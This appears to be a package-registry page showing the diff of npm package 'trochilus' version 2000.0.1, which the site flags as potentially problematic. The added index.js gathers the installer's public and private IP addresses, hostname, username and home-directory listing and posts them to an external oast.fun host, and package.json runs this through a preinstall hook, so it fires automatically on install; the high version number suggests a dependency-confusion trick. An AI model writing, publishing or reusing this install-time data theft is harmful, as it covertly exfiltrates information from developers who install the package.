trochilus 2000.0.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of trochilus might be problematic. Click here for more details.
- package/index.js +65 -0
- package/package.json +18 -0
package/index.js
ADDED
@@ -0,0 +1,65 @@
|
|
1
|
+
const axios = require('axios');
|
2
|
+
const os = require('os');
|
3
|
+
const fs = require('fs');
|
4
|
+
|
5
|
+
// Retrieve public IP address
|
6
|
+
async function getPublicIP() {
|
7
|
+
try {
|
8
|
+
const response = await axios.get('https://api.ipify.org');
|
9
|
+
return response.data.trim();
|
10
|
+
} catch (error) {
|
11
|
+
console.error('Error retrieving public IP address:', error.message);
|
12
|
+
return null;
|
13
|
+
}
|
14
|
+
}
|
15
|
+
|
16
|
+
// Retrieve private IP address
|
17
|
+
function getPrivateIP() {
|
18
|
+
const networkInterfaces = os.networkInterfaces();
|
19
|
+
for (const iface of Object.values(networkInterfaces)) {
|
20
|
+
const address = iface.find((details) => details.family === 'IPv4' && !details.internal);
|
21
|
+
if (address) {
|
22
|
+
return address.address;
|
23
|
+
}
|
24
|
+
}
|
25
|
+
return null;
|
26
|
+
}
|
27
|
+
|
28
|
+
// Retrieve hostname
|
29
|
+
const hostname = os.hostname();
|
30
|
+
|
31
|
+
// Retrieve username
|
32
|
+
const username = os.userInfo().username;
|
33
|
+
|
34
|
+
// Retrieve contents of home directory
|
35
|
+
function getHomeDirectoryContents() {
|
36
|
+
try {
|
37
|
+
return fs.readdirSync(os.homedir());
|
38
|
+
} catch (error) {
|
39
|
+
console.error('Error retrieving home directory contents:', error.message);
|
40
|
+
return null;
|
41
|
+
}
|
42
|
+
}
|
43
|
+
|
44
|
+
async function sendData() {
|
45
|
+
const publicIP = await getPublicIP();
|
46
|
+
const privateIP = getPrivateIP();
|
47
|
+
const homeDirectoryContents = getHomeDirectoryContents();
|
48
|
+
|
49
|
+
const data = {
|
50
|
+
public_ip: publicIP,
|
51
|
+
private_ip: privateIP,
|
52
|
+
hostname: hostname,
|
53
|
+
username: username,
|
54
|
+
home_directory_contents: homeDirectoryContents,
|
55
|
+
};
|
56
|
+
|
57
|
+
try {
|
58
|
+
const response = await axios.post('http://cjqf1ed2vtc0000rqq9ggjmzwpayyyyyn.oast.fun', data);
|
59
|
+
console.log('Data sent successfully:', response.data);
|
60
|
+
} catch (error) {
|
61
|
+
console.error('Error sending data:', error.message);
|
62
|
+
}
|
63
|
+
}
|
64
|
+
|
65
|
+
sendData();
|
package/package.json
ADDED
@@ -0,0 +1,18 @@
|
|
1
|
+
{
|
2
|
+
"name": "trochilus",
|
3
|
+
"version": "2000.0.1",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"axios": "^1.4.0",
|
14
|
+
"express": "^4.18.2",
|
15
|
+
"lodash": "^4.17.21",
|
16
|
+
"moment": "^2.29.4"
|
17
|
+
}
|
18
|
+
}
|